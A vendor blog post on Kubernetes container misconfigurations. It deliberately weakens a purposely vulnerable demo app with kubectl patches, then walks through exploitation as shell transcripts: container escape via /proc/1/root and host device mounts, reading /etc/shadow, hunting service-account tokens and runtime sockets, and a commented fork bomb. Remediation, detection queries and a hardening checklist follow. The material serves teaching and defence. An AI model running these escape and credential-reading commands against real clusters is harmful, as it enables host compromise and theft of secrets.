Header background

Kubernetes security essentials: Container misconfigurations – From theory to exploitation

In the previous posts of our Kubernetes security series, we explored the anatomy of security misconfigurations and mapped attack paths to real-world incidents. Today, we dive deep into the container layer, where security boundaries are established or broken at the most fundamental level.

We’ll demonstrate these concepts using a real application, showing you exactly how attackers exploit these misconfigurations and how you can defend against them with Dynatrace Kubernetes Security Posture Management (KSPM).

Understanding the container security model

Kubernetes orchestrates containers through runtimes like containerd, which leverage various kernel features for isolation.

Key security features

Containers rely on several core Linux kernel features to isolate and restrict workloads. The diagram below summarizes the key primitives:

Linux Security Primitives
Figure 1: Linux Security Primitives
  • Namespaces. Provide isolated views of system resources like processes, networking, and filesystems.
  • Control Groups (cgroups). Enforce resource limits on CPU, memory, I/O, and network usage.
  • Linux Capabilities. Break down root privileges into ~40 fine-grained permissions.
  • Mandatory Access Control (MAC). Systems like SELinux and AppArmor enforce security policies beyond traditional Unix permissions.
  • Seccomp. Filters system calls at the kernel level; Docker’s default profile blocks ~44 risky syscalls.

Kubernetes exposes these through `securityContext`:

securityContext: 
  runAsNonRoot: true          # Enforces non-root execution 
  runAsUser: 1000            # Sets the UID 
  allowPrivilegeEscalation: false # Prevents gaining new privileges 
  readOnlyRootFilesystem: true     # Makes root filesystem read-only 
  capabilities: 
    drop: ["ALL”]           # Removes all capabilities 
    add: ["NET_BIND_SERVICE"] # Adds back specific capabilities 
  seccompProfile: 
    type: RuntimeDefault     # Applies default seccomp profile

Understanding the attack simulation

Our demonstrations simulate certain realistic post-compromise behavior. After gaining initial access (e.g., via SQL injection), attackers typically follow this progression:

Container Attack Lifecycle
Figure 2: Container Attack Lifecycle
  1. Reconnaissance. Discovering privileges and environment through namespace enumeration, capability checking, network topology mapping, and service identification.
  2. Privilege Misuse. Leveraging capabilities to escalate via CAP_SYS_ADMIN abuse, host mount exploitation, privileged containers, and container escape techniques.
  3. Lateral Exploration. Expanding access across the cluster through pod-to-pod movement, service discovery, secret enumeration, and cross-namespace access.
  4. Potential Impact. Causing damage such as data exfiltration, cryptomining, service disruption, and persistent backdoors.

Setting up our test environment

We’ll use the Dynatrace Unguard application—a deliberately vulnerable microservices app designed for security demonstrations.

Follow the installation instructions in the Unguard repo, then run the following command to verify unguard was deployed correctly.

# Verify deployment 
$ kubectl get pods -n unguard
Pod Status
Figure 3: Pod Status

The Unguard deployment creates multiple services including payment processing, user profiles, frontend, and membership management.

Baseline security assessment

Check the current security posture using standard kubectl commands:

# Examine container security context for payment service 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec.containers[0].securityContext // {} | {runAsUser, runAsNonRoot, privileged, allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities}' 
 
# Check resource limits and requests for payment service container 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec.containers[0].resources // {} | {limits, requests}' 
 
# Review pod-level security settings for payment service 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec | {hostPID, hostNetwork, hostIPC, securityContext: {runAsUser, runAsNonRoot}}'

You’ll notice Unguard has some security configurations, but they’re incomplete—a common real-world scenario.

Introducing additional security misconfigurations

To demonstrate the full spectrum of container security issues, we’ll manually introduce misconfigurations to specific services:

Risk level of container security issues table

We’ll use kubectl patch to introduce these vulnerabilities. Here is an example for the payment service:

# Introduce vulnerabilities to payment service 
kubectl patch deployment unguard-payment-service \ 
  -n unguard \ 
  --type='json' \ 
  -p='[PATCH_JSON]' 
 
# Wait for rollout 
kubectl rollout status deployment/unguard-payment-service -n unguard 

To add additional patterns, replace [PATCH_JSON] with the appropriate patch and the deployment name with the target service. Below you can find a list of available patches:

Payment Service: adding privileged mode and dangerous capabilities

[ 
  {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_ADMIN", "NET_ADMIN", "DAC_OVERRIDE"]}}, 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true}, 
  {"op": "remove", "path": "/spec/template/spec/containers/0/resources"} 
]

Profile Service: enable ALL capabilities

[ 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext", "value": {}}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE", "DAC_OVERRIDE", "DAC_READ_SEARCH", "SYS_MODULE"]}}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true} 
]

Frontend: add access to host

[ 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/hostNetwork", "value": true} 
]

Membership Service: remove resource limits

[ 
  {"op": "remove", "path": "/spec/template/spec/containers/0/resources"} 
]

Exploiting misconfigurations: A hacker’s perspective

Now, let’s see how attackers can exploit these vulnerabilities after gaining initial container access.

Privilege discovery

One of the first things an attacker does is to identify the privilege of the resources they have access to, to understand what they can or cannot do.

$ kubectl get pods -n unguard 
# Get into the profile service container 
$ kubectl exec -it deployment/unguard-profile-service -n unguard -- /bin/sh 
 
# Inside the container 
$ id 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) 
 
$ cat /proc/1/status | grep ^Cap 
CapInh: 0000000000000000 
CapPrm: 000001ffffffffff 
CapEff: 000001ffffffffff 
CapBnd: 000001ffffffffff 
$ # The capability value 000001ffffffffff means ALL capabilities! 
$ grep -i "NoNewPrivs" /proc/self/status 
NoNewPrivs: 0  # Can gain new privileges! 
 
$ # Check true privilege 
$ ls -la /dev/mem 
crw-r----- 1 root kmem 1, 1 Jul 7 09:44 /dev/mem 
$ # Can access physical memory!

In the example above you see the hexadecimal value 000001ffffffffff. This value means that all Linux capabilities are enabled for the current user—equivalent to root privileges on a host. There are also other values possible such as:

  • 0000000000000000 = No capabilities (secure)
  • 00000000a82425fb = Limited dangerous capabilities
  • 000001ffffffffff = MAXIMUM privilege (41 capabilities)

Escape from container

With added privileged access, multiple escape routes become available such as accessing the filesystem or mounting new devices.

# Still inside the profile service container 
# Technique 1: Direct access to host filesystem via /proc 
$ ls -la /proc/1/root/ 
total 72 
drwxr-xr-x   19 root     root          4096 Jun  5 11:57 . 
drwxr-xr-x    3 root     root          4096 Jun  5 11:57 etc 
drwxr-xr-x    5 root     root          4096 Jun  5 12:20 root 
drwxr-xr-x   14 root     root          4096 May 16 06:01 usr 
drwxr-xr-x   13 root     root          4096 May 16 06:04 var 
 
$ # Read host files directly! 
$ cat /proc/1/root/etc/hostname 
ip-10-0-1-234.ec2.internal 
 
$ head -3 /proc/1/root/etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
 
# Technique 2: Mount host devices 
$ mount -t devtmpfs devtmpfs /mnt 
$ ls /mnt | grep -E "nvme|sd|loop" 
loop0  loop1  loop2  loop3  loop4  loop5  loop6  loop7  loop8  loop9 
nvme0  nvme0n1  nvme0n1p1  nvme0n1p14  nvme0n1p15 
 
$ # All host devices are now accessible! 
$ umount /mnt 
 
# Technique 3: Access host filesystem via symlinks 
$ ln -s /proc/1/root/etc /host-etc 
$ ls /host-etc/ | head -5 
$ cat /host-etc/shadow | head -1 
root:!:19876:0:99999:7:::

Leverage privileged containers

The attacker can leverage privileged resources to retrieve important information or perform actions that can help further compromise the environment.

# Access the privileged payment service 
$ kubectl exec -it deployment/unguard-payment-service -n unguard -- /bin/sh 
 
# Inside the privileged container 
$ id 
uid=0(root) gid=0(root) groups=0(root) 
 
# Access kernel debugging features 
$ mount -t debugfs none /sys/kernel/debug 
$ ls /sys/kernel/debug | head -5 
accel 
acpi 
bdi 
block 
clear_warn_once 
 
# Check kernel modules 
$ ls /proc/1/root/lib/modules/ 
6.8.0-1029-aws  6.8.0-1030-aws  6.8.0-1031-aws 
$ # Could load malicious kernel modules! 
 
# Direct memory access 
$ ls -la /dev/mem 
crw-r----- 1 root kmem 1, 1 Jul 7 09:44 /dev/mem 
 
# Find container runtime sockets 
$ find /proc/1/root -name "*.sock" 2>/dev/null | grep -E "docker|containerd" 
/proc/1/root/run/containerd/containerd.sock

Lateral movement via host access

The ability to move across networks is important as it enables attackers to pivot to more important resources.

$ kubectl exec -it deployment/unguard-frontend -n unguard -- /bin/sh 
# Check process visibility 
$ echo "Total processes visible: $(ls /proc | grep -E '^[0-9]+$' | wc -l)" 
Total processes visible: 167 
 
# Find critical host processes 
$ for comm in kubelet dockerd containerd sshd systemd; do 
    pgrep -x "$comm" 2>/dev/null | head -1 | xargs -I{} sh -c 'echo -n "$1: " && cat /proc/{}/cmdline | tr "\0" " " && echo' -- "$comm" 
  done 
 
kubelet: /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf 
containerd: /usr/bin/containerd 
sshd: sshd: /usr/sbin/sshd -D 
systemd: /lib/systemd/systemd --system --deserialize 66 
 
# See ALL network interfaces (host + containers) 
$ ls /sys/class/net/ | wc -l 
15 
$ ls /sys/class/net/ 
cni0  docker0  ens5  flannel.1  lo  veth0eb667b2  veth1232f5ba ... 
 
# Can intercept traffic from other containers 
$ cat /proc/net/tcp | wc -l 
68 
 
# Find service account tokens from other containers 
$ find /proc -path "*/root/secrets/*/token" 2>/dev/null | head -3 
$ # Could steal authentication tokens!

Resource exhaustion attack

When removing limits, a single container can crash the entire node.

$ kubectl exec -it deployment/unguard-membership-service -n unguard -- /bin/sh 
 
# Check current limits (none!) 
$ cat /sys/fs/cgroup/memory.max 2>/dev/null || cat /sys/fs/cgroup/memory/memory.limit_in_bytes 2>/dev/null 
max 
# No CPU limit! 
$ cat /sys/fs/cgroup/cpu.max 2>/dev/null || cat /sys/fs/cgroup/cpu/cpu.cfs_quota_us 2>/dev/null 
max 100000 
 
# Simple resource consumption test 
$ # Allocate 1GB of memory 
$ dd if=/dev/zero of=/tmp/bigfile bs=1M count=1024 
1024+0 records in 
1024+0 records out 
 
$ # Fork bomb (DON'T RUN IN PRODUCTION!) 
$ # :(){ :|:& };: 
$ # Without limits, these attacks quickly consume all node resources causing the infamous "exit code 137" (OOM kill)

Detecting the exploit in real-time with Dynatrace KSPM

Dynatrace Security Posture Management is continuously monitoring the environment, identifying misconfigurations while the attacks unfold:

Assessment results overview in Dynatrace screenshot

The above identified misconfigurations include:

  • Privileged Container Admission: containers with root-level access
  • Host Namespace Violations: pods sharing host PID/network/IPC
  • Dangerous Capabilities: permissions like SYS_ADMIN that break isolation
  • Missing Resource Limits: pods without CPU/memory constraints

Further analysis

You can drive your investigation further by querying security events directly within Notebooks, revealing further insights:

fetch events, from: -10m 
| filter dt.system.bucket == "default_security_events" 
| filter event.type == "COMPLIANCE_FINDING" 
| filter k8s.cluster.name == "demo" 
| filter contains(compliance.result.object.name, "unguard") 
| fieldsAdd  dt.entity.cloud_application_instance 
| filter in(compliance.rule.title, array( 
    "Minimize the admission of root containers", 
    "Minimize the admission of containers with allowPrivilegeEscalation", 
    "Minimize the admission of containers with added capabilities", 
    "Minimize the admission of containers with capabilities assigned", 
    "Minimize the admission of privileged containers", 
    "Minimize the admission of containers wishing to share the host process ID namespace", 
    "Minimize the admission of containers wishing to share the host network namespace" 
)) 
| summarize violations = count(), by: {compliance.result.object.name, compliance.rule.title,compliance.rule.severity.level, compliance.standard.short_name} 
| sort compliance.result.object.name asc, violations desc
DQL Query Response
Figure 5: DQL Query Response

Remediating the exploit – implementing proper security

As an admin, we can easily fix these vulnerabilities by applying the following configuration:

kubectl patch service unguard-payment-service \ 
  -n unguard \ 
  --type='json' \ 
  -p='[ 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": false}, 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": false}, 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"drop": ["ALL"]}}, 
    {"op": "add", "path": "/spec/template/spec/containers/0/resources", "value": {"limits": {"memory": "256Mi", "cpu": "200m"}, "requests": {"memory": "128Mi", "cpu": "100m"}}}, 
    {"op": "replace", "path": "/spec/template/spec/hostPID", "value": false} 
  ]'

This adds the following improvements to our environment:

✅ Non-root execution (runAsUser: 1000)
✅ Dropped all capabilities (drop: [“ALL”])
✅ Resource limits enforced (CPU: 200m, Memory: 256Mi)
✅ Privilege escalation disabled (allowPrivilegeEscalation: false)
✅ Host isolation (hostPID: false, hostNetwork: false)

Verifying the remediation

We can easily verify that all exploits are now blocked.

# Try the privileged escape - FAILS 
kubectl exec -it deployment/unguard-payment-service -n unguard -- /bin/sh 
$ mount -t tmpfs tmpfs /tmp/test 
mount: permission denied (are you root?) 
 
# Try capability abuse - FAILS 
kubectl exec -it deployment/unguard-profile-service -n unguard -- /bin/sh 
$ cat /proc/1/status | grep ^Cap 
CapEff: 0000000000000000 
 
# Resource limits now enforced 
kubectl exec -it deployment/unguard-membership-service -n unguard -- /bin/sh 
$ cat /sys/fs/cgroup/memory/memory.limit_in_bytes 
268435456

Automating security testing

While manual testing is valuable for learning and trying things, it is essential to apply automation in production environments. To help you achieve this, we developed the Kubernetes exploit toolkit, which automates the steps introduced above.

This toolkit provides:

  • Automated vulnerability injection, for demonstration purposes and remediation
  • Comprehensive security assessments
  • Demonstration of exploits without manual commands

For teams looking to gain a better understanding of Kubernetes container security posture, this toolkit offers a structured approach to identifying and analyzing misconfigurations on a realistic application.

Conclusion and key takeaways

We’ve demonstrated how easily container misconfigurations can be exploited and how to defend against them. These aren’t edge cases—they’re found in production clusters daily.

When responsible for Kubernetes environments, you should always have the following rules in mind:

  • Default configurations are insecure. Always explicitly define security contexts
  • Capabilities are powerful. Even one like SYS_ADMIN can compromise isolation completely
  • Resource limits are security controls. They prevent DoS and protect cluster stability
  • Automation is essential. Use tools to enforce and verify security consistently
  • Continuous monitoring is critical. Misconfigurations can be introduced at any time

And don’t forget to regularly check that the following configurations are applied to your containers:

  • Security Context
    • runAsNonRoot: true
    • runAsUser >= 1000
    • allowPrivilegeEscalation: false
    • readOnlyRootFilesystem: true (where possible)
  • Capabilities
    • drop: [“ALL”]
    • Add only essential capabilities (e.g., NET_BIND_SERVICE)
  • Resource Limits
    • CPU limits and requests defined
    • Memory limits and requests defined
  • Isolation
    • No hostPID, hostNetwork, or hostIPC
    • No privileged: true
  • Additional Controls
    • Pod Security Standards enforced
    • Network Policies implemented
    • Runtime security monitoring active

By implementing proper security controls and continuous monitoring of your environments, you can transform containers from attack vectors into robust security boundaries.

Ready to secure your Kubernetes containers? Learn how to get started with Kubernetes Security Posture Management, or start your free Dynatrace trial and see how KSPM can automatically detect and help remediate container misconfigurations in your environment.

Next in the series: Network misconfigurations—how improper policies turn your cluster into an attacker’s playground.

Additional Resources



_____

The techniques demonstrated in this post are for educational purposes only. Always obtain proper authorization before testing security controls.